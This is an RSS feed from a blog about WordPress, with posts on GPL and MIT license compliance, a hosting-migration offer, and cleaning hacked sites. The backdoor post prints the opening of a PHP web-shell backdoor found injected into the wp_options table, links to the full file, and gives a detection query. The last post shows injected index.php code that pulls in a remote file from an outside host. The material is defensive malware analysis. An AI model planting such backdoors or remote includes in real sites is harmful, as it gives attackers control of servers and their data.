<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smackdown! &#187; Wordpress</title>
	<atom:link href="http://smackdown.blogsblogsblogs.com/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://smackdown.blogsblogsblogs.com</link>
	<description>Smackdown!</description>
	<lastBuildDate>Tue, 22 Nov 2011 22:40:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>As It Turns Out, WordPress Itself Is Not 100% GPL Compliant After All (And They Violate The MIT License As Well)</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/#comments</comments>
		<pubDate>Fri, 18 Feb 2011 14:52:29 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=929</guid>
		<description><![CDATA[Yesterday I stumbled upon a rather interesting tidbit of information. I opened Twitter in the middle of a conversation between between Chip Bennett and Ben Cook, and I saw this tweet: &#160; &#160; Curiosity piqued, I dug back through the tweets until I found a link to the thread Ben was referring to. It turns [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I stumbled upon a rather interesting tidbit of information. I opened Twitter in the middle of a conversation between between <a href="http://www.chipbennett.net/" target="_blank">Chip Bennett</a> and <a href="http://wpblogger.com/" target="_blank">Ben Cook</a>, and I saw this tweet:</p>
<p>&nbsp;</p>
<p><a href="http://twitter.com/Skitzzo/status/38367735100620800" target="_blank"><img src="/images/ben-cook-tweet-20110218.png" onmouseup="hl2l(event);" alt="@chip_bennett @mattonomics that thread is everything wrong with the WordPress project wrapped up nicely in one ignorant package. - @Skitzzo" border="0"></a></p>
<p>&nbsp;</p>
<p>Curiosity piqued, I dug back through the tweets until I found a link to the thread Ben was referring to. It turns out that it is <span id="more-929"></span>a <a href="http://core.trac.wordpress.org/ticket/16517" target="_blank">bug report</a> on the WordPress bug tracking system, opened by user &#8220;hakre&#8221;:</p>
<blockquote><p>The  wordpress software packages to download form the website contain mostly source-code.</p>
<p>But as it&#8217;s known, there are files and parts in these, that are binary blobs and w/o their source as specified in the terms of the GNU GPL.</p>
<p>According to §1, §2 and §3 of the terms of the GNU GPL v2, the wordpress project must offer full source-code in order to distribute the whole package under GPL.</p>
<p>In §3 it&#8217;s made more specific what sources are:</p>
<p>    <em>The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.</em></p>
<p>I was looking over the wordpress homepage but I could not find any information where to obtain the according sources that are missing from the packages &#8211; either in full source packages or in it&#8217;s additional form.</p>
<p>Probably I&#8217;ve overlooked something, please help me obtaining such information. &#8211; <em>hakre</em></p></blockquote>
<p>What hakre was referring to was a specific section of the <a href="http://www.gnu.org/licenses/gpl-2.0.html" target="_blank">GNU General Public License v2.0</a>, which is the license that WordPress is released under. The requirements of the license dictate that anyone is free to modify or redistribute the software package, as long as the license itself stays intact, and as long as whoever receives the software package either gets a copy of the source code, an offer in writing that they will make the source code available on request, or a copy of the offer to make said source code available if that is how it was originally offered. Basically either the actual source code must be supplied, or a clear concise guarantee that it can be supplied on demand, must be included with the distribution. For the bulk of WordPress this is no problem and would never be an issue. The core WordPress files are written in php, with some elements in Javascript or html. All 3 of those languages, unless encoded in some special way, run as is straight from the source code. Php and Javascript are &#8220;scripting&#8221; languages and html is not actually a programming language. If someone wants to see or edit the &#8220;source code&#8221; for any of those files all they need to do is open them in a text editor and just look at them.</p>
<p>However, what hakre was talking about was the 1 and only executable file* (<em>see hakre&#8217;s <a href="http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/#comment-55854">comment below</a> for clarification</em>) that is currently distributed with WordPress, a file named swfupload.swf, which is located in the wp-includes/js/swfupload directory. It is a Flash file, is not considered editable by normal means, and it is compiled, not in source code form. The concern that hakre raises is quite valid, since without the source code being distributed along with this file it makes it impossible to distribute WordPress as GPL v2 software. This is a Very Big Deal, especially when you consider the rift that Matt Mullenweg created in the WordPress community over the whole issue of what GPL did and did not cover. Almost 2 years ago Matt asked a lawyer from the FSF to back up what Matt was saying, and <a href="http://wordpress.org/news/2009/07/themes-are-gpl-too/" target="_blank">in the closing paragraph of that post</a> he made the following statement:</p>
<blockquote><p>So as before, we will only promote and host things on WordPress.org that are 100% GPL or compatible. &#8211; <em>Matt Mullenweg</em></p></blockquote>
<p>The fact that WordPress can&#8217;t follow the license that they are claiming everyone else needs strict adherence to makes all of Matt&#8217;s previous pettiness just that much worse.</p>
<p>One of the WordPress contributers, Otto42, closed the ticket when he found it. In fact, he asked the question &#8220;What sources are missing?&#8221; in the same post, but marked the ticket as &#8220;invalid&#8221; without bothering to wait for an answer. The thread was then reopened by hakre again, after which Chip Bennett joins the conversation. In a nutshell, it&#8217;s a back and forth with Otto arguing that the source code for that file is not required, since WordPress authors did not write it, and since that particular executable is <em>not</em> GPL, and is instead released under the <a href="http://www.opensource.org/licenses/mit-license.php" target="_blank">MIT License</a>. The problem with his argument is that it is, of course, dead wrong. The GPL license does indeed allow you to distribute non-GPL licensed software within a GPL package, as long as a) the non-GPL license is less restrictive than the GPL (which the MIT license is), and b) the source code is included (which, again, WordPress is <em>not</em> doing here).</p>
<p>At one point Otto makes the following claim:</p>
<blockquote><p>As for the GPL, we are under no obligation to provide anything at all. Understand that the people here wrote the code and share a joint ownership of it. The GPL places no obligation whatsoever on the actual copyright holders of the code. They can release it anyway they like. The GPL only applies to licensees of the code in question; the downstream people using and redistributing that code. &#8211; <em>Otto42</em></p></blockquote>
<p>That of course sums up a bigger core misunderstanding of the situation that makes me wonder if more WordPress contributers are under the same illusion&#8230; that the GPL only applies to what <em>other</em> people can do with WordPress, and doesn&#8217;t actually apply to the contributers, or to the WordPress Foundation, or to Matt Mullenweg. Maybe all of Matt&#8217;s talk of how the GPL embodies all of WordPress&#8217;s core values managed to bury the reality of why the GPL was being used for WordPress. The truth is, WordPress is licensed under the GPL v2 because <em>they have no choice</em> in the matter, they <em>have</em> to use it. WordPress, you see, is a derivative of yet another software package, <a href="http://cafelog.com/" target="_blank">b2/cafelog</a>, which was licensed under the GPL v2 as of <a href="http://cafelog.com/index.php?p=427&#038;c=1" target="_blank">March 2nd, 2002</a>. </p>
<p>Otto also is also under the misconception that the following statement in the license covers them:</p>
<blockquote><p>If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code</p></blockquote>
<p>As a developer I am rather surprised at Otto&#8217;s lack of grasp on the IF&#8230;THEN&#8230; element to that statement. <em>If</em> the executable is being distributed from a remote location, <em>then</em> offering the source at that same location counts as distribution of the source code. An example of an executable being offered from a designated place would be Microsoft distributing software that requires their mfc32.dll to run, and giving you a link to their website where that can be downloaded. WordPress does not say &#8220;To use our Flash uploader you will need to download the executable from <a href="http://www.swfupload.org/" target="_blank">here</a>&#8220;&#8230; they distribute that executable with the WordPress package itself, which means, by the terms of the GPL license they are required to follow, that they must offer the source code as well.</p>
<p>The final argument in the bug report relies on the fact that inside one of the Javascript files that are bundled with SWFUpload there several links referenced, and if you follow one of those links and dig around you will eventually find the source code in question. Even this, however, is not actually sufficient. As Otto points out in several places during the discussion, SWFUpload is not in and of itself GPL, and are under no obligation to offer the source code. Therefore that site could disappear altogether and the source code would no longer be available. A link that is not a direct download being mentioned in a Javascript file is not even close to <em>WordPress</em> offering a place for people to download the source code.</p>
<p>Otto is right in one respect though, the flash file in question <em>is</em> under the MIT License. This license is short and sweet, and in it&#8217;s entirety reads:</p>
<blockquote><p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &#8220;Software&#8221;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>
<p><strong>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</strong></p>
<p>THE SOFTWARE IS PROVIDED &#8220;AS IS&#8221;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p></blockquote>
<p>That middle line in the license, <em>&#8220;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.&#8221;</em>, is non-trivial. It plainly states that a copy of this license <em>must</em> be included with the software. It does not say that &#8220;a copy of the notice or a link to it&#8221; is required, it clearly states that the notice itself needs to be there&#8230; and this notice just happens to be missing from the copy of the software distributed with WordPress. It also happens to be missing from from the thickbox package that is found in wp-includes/js/thickbox as well. The fact that either copy of the license was missing from wherever the WordPress developer who included it in the package got it originally is no excuse for WordPress being non-compliant, either. It is Matt Mullenweg&#8217;s responsibility, as the distributor, to ensure that all of the licenses are in line.</p>
<p>There is no question, ever since WordPress included the SWFUpload software without it&#8217;s source code, which as near as I can determine started in version 2.5, they have been in clear violation of the very license they have been bashing other people over the head with. Fixing it now will not change the fact that they violated it for years, either. There really is no excuse for this.</p>
<p><strong>Update:</strong> I just wanted to include a section in the GPL FAQ that I missed before that is strongly relevant to this discussion, &#8220;<a href="http://www.gnu.org/licenses/gpl-faq.html#UnchangedJustBinary" target="_blank">I downloaded just the binary from the net. If I distribute copies, do I have to get the source and distribute that too?</a>&#8221;</p>
<blockquote><p>Yes. The general rule is, if you distribute binaries, you must distribute the complete corresponding source code too. The exception for the case where you received a written offer for source code is quite limited.</p></blockquote>
<p>Honestly, it doesn&#8217;t get any clearer than that. Mind you, that won&#8217;t stop people from trying to argue the point further, but the FSF themselves are very succinct on that point. SWFUpload is a binary that the WordPress developers downloaded from somewhere else and included in their package, the GPL requires that the source code be included. WordPress has been in violation of the GPL for a few years now at least.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/02/18/as-it-turns-out-wordpress-itself-is-not-100-gpl-compliant-after-all-and-they-violate-the-mit-license-as-well/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Hacked on GoDaddy? I&#8217;ll Migrate You To Hostgator For Free</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 17:07:21 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=852</guid>
		<description><![CDATA[Yet again, I am seeing a rising number of sites that are reporting getting hacked at GoDaddy. It is also no surprise to me that people are getting limited responses from them when they try and find out what is going on. The GoDaddy blog mentions nothing recently aside from when they were hacked 2 [...]]]></description>
			<content:encoded><![CDATA[<p>Yet again, I am seeing a rising number of sites that are reporting getting hacked at GoDaddy. It is also no surprise to me that people are getting limited responses from them when they try and find out what is going on. The GoDaddy blog mentions nothing recently aside from when they were <a href="http://community.godaddy.com/godaddy/halloween-eve-hacker-quickly-thwarted/" target="_blank">hacked 2 weeks ago on Halloween</a> (an attack that looks like it stemmed from GoDaddy not acting on a security advisory for 11 days). The thing is, I know from personal experience that they are aware of it, because I have seen cases where they are cleaning clients sites now automatically as a form of damage control, before the clients even know they were hacked, in an attempt to keep the buzz down about it. So they obviously know it is happening yet they are still keeping tight lipped about it, and being reactive instead of proactive, which is of course par for the course when it comes to <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">getting hacked on GoDaddy</a>.</p>
<p>Since this is an established pattern with them as a web host, and even though I still highly recommend them as registrars for domain names,<span id="more-852"></span> I have decided to make this offer to all clients who want to be done with getting their sites hacked. If you hire me to clean your hacked website(s), WordPress or otherwise (since pretty much any site on GoDaddy is subject to getting hacked), and are willing to switch to <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/> after I have you completely cleaned up (which is where this blog and many of my other sites are hosted, and a host that I highly recommend), then I will do the migration at no extra charge. </p>
<p>That&#8217;s right&#8230; I&#8217;ll move you to <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>, for free.</p>
<p>Now, if you want to help me out a little with that, and use the affiliate links in this post or the banner in my sidebar to purchase your hosting, then great, I will get a commission from them for doing it. But that is in no way required for this offer, and not at all why I am making this deal. You can manually type in hostgator.com into your browser, or click on a friend&#8217;s banner, or whatever. I&#8217;ll still move you for free. Everyone should have safe hosting, period, and I am willing to help people get there.</p>
<p>The one caveat with this offer is if you have emails stored on the old server, and use either IMAP or their webmail, and you need those old emails (not the accounts, but the actual emails) moved off of GoDaddy and stored elsewhere, then it does take a few extra minutes per email account, depending on which solution you which to use. GoDaddy doesn&#8217;t give you direct access to download and move them, but there are a couple of workarounds available. Some you can do yourself if you like (like downloading all of the emails to your local computer using POP3), some I can do for you for a very small charge. Other than that for each site I clean I will move it to the new Hostgator account for you at no charge, and that includes the files, the databases, setting up the email accounts, and any ftp users you want to move.</p>
<p>If you are not currently hacked, and want to move to Hostgator anyway, I&#8217;ll still offer anyone who wants it a deal. If it does not need cleaning, I will migrate your entire site for only 30 minutes worth of labor, flat fee, again not counting the moving of the physical emails. If you have multiple sites that need moved, depending on the sizes of them, I can offer you further discounts on those as well. Hell, you don&#8217;t even have to be hosted at GoDaddy to take advantage of this offer. If you&#8217;re unhappy where you are at, just let me know.</p>
<p>Anyone who wants to have me get started on moving them to a better host should <a href="http://smackdown.blogsblogsblogs.com/contact-michael-vandemar/">contact me today</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/11/10/hacked-on-godaddy-ill-migrate-you-to-hostgator-for-free/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rackspace Hacked Clients, Check Your Databases: WordPress &#8220;wp_optimize&#8221; Backdoor In wp_options Table</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 01:16:57 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=747</guid>
		<description><![CDATA[Just finished cleaning up a hacked client whose website is hosted on Rackspace Cloud hosting. It is the second one within the past few weeks, although the first one was actually hosting on Laughing Squid, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished cleaning up a hacked client whose website is hosted on <a href="http://www.rackspacecloud.com/" target="_blank">Rackspace Cloud hosting</a>. It is the second one within the past few weeks, although the first one was actually hosting on <a href="http://laughingsquid.net/" target="_blank">Laughing Squid</a>, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the same IP as my client a couple of weeks ago who all got hacked, but I was having trouble determining if it was an issue with Laughing Squid or an issue with Rackspace Cloud itself, so I didn&#8217;t blog about it until I could research it more. I wish now that I had, because maybe then it would not have spread so widely. As it is, it is the same WordPress attack that <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/" target="_blank">Unmask Parasites blogged about</a> earlier today.</p>
<p>It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, <span id="more-747"></span>because Rackspace upgraded all of their installations of that package <a href="http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html" target="_blank">this past Saturday</a>. If so the initial security could very well be plugged, although of course we don&#8217;t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.</p>
<p>The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of &#8220;wp_optimize&#8221;, autoload set to &#8220;on&#8221; (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kmd5</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'510a584f9747c1262b5ef3c89bd9afb4'</span><span style="color: #339933;">;</span><span style="color: #000088;">$shellver</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1.7.5-stable'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>or<span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$kuppa</span><span style="color: #339933;">=</span><span style="color: #990000;">getcwd</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   	      <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">include</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>         <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'update_option_1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>
    <span style="color: #000000; font-weight: bold;">function</span> update_option_1<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span> <span style="color: #009900;">&#41;</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>In all it was 1216 lines of code. You can view the entire file here: <a href="/images/sql-injection-wp-optimize.txt" target="_blank">sql-injection-wp-optimize.txt</a>. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won&#8217;t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this. </p>
<p>An easy way to check for these types of suspicious entries in a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">hacked WordPress</a> database is to run the following MySQL query:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> wp_options <span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #FF00FF;">&#40;</span>option_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> blog_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_name <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_value <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> autoload <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span><span style="color: #FF00FF;">&#41;</span> <span style="color: #990099; font-weight: bold;">order by</span> option_id</pre></td></tr></table></div>

<p>So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the <a href="http://php.net/manual/en/function.base64-decode.php" target="_blank">base64_decode()</a> php function, so if you find an entry in the database that doesn&#8217;t look like someone&#8217;s blog post, odds are you are going to want to delete it.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>WordPress Hacking, Matt Mullenweg, And Some Screwed Up Priorities</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/01/wordpress-hacking-matt-mullenweg-and-some-screwed-up-priorities/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/01/wordpress-hacking-matt-mullenweg-and-some-screwed-up-priorities/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 12:45:42 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[priorities]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=694</guid>
		<description><![CDATA[I clean WordPress installations for people who have been hacked. I can help fix non-Wordpress sites as well, but since often times the way people find me is through the guide I wrote on how to fix WordPress after you&#8217;ve been hacked it turns out that&#8217;s what they need me to do for them a [...]]]></description>
			<content:encoded><![CDATA[<p>I clean WordPress installations for people who have been hacked. I can help fix non-Wordpress sites as well, but since often times the way people find me is through the guide I wrote on <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">how to fix WordPress</a> after you&#8217;ve been hacked it turns out that&#8217;s what they need me to do for them a fair bit of the time. I have a process that I go through, and a specific set of things that I look for on every WordPress installation that I work on to make sure that it is indeed hacked, and to determine how bad the damage is. Different intrusions can leave various symptoms and clues as to how the hacker got in, and knowing this can be helpful in diagnosing the situation.</p>
<p>One of the hacks that has been around for a few years<span id="more-694"></span> has the symptoms of having an index.php in the root installation that has the following code in it:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>16
17
18
19
20
21
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/** Loads the WordPress Environment and Template */</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'license'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #339933;">@</span><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://wordpress.net.in/license.txt'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./wp-blog-header.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

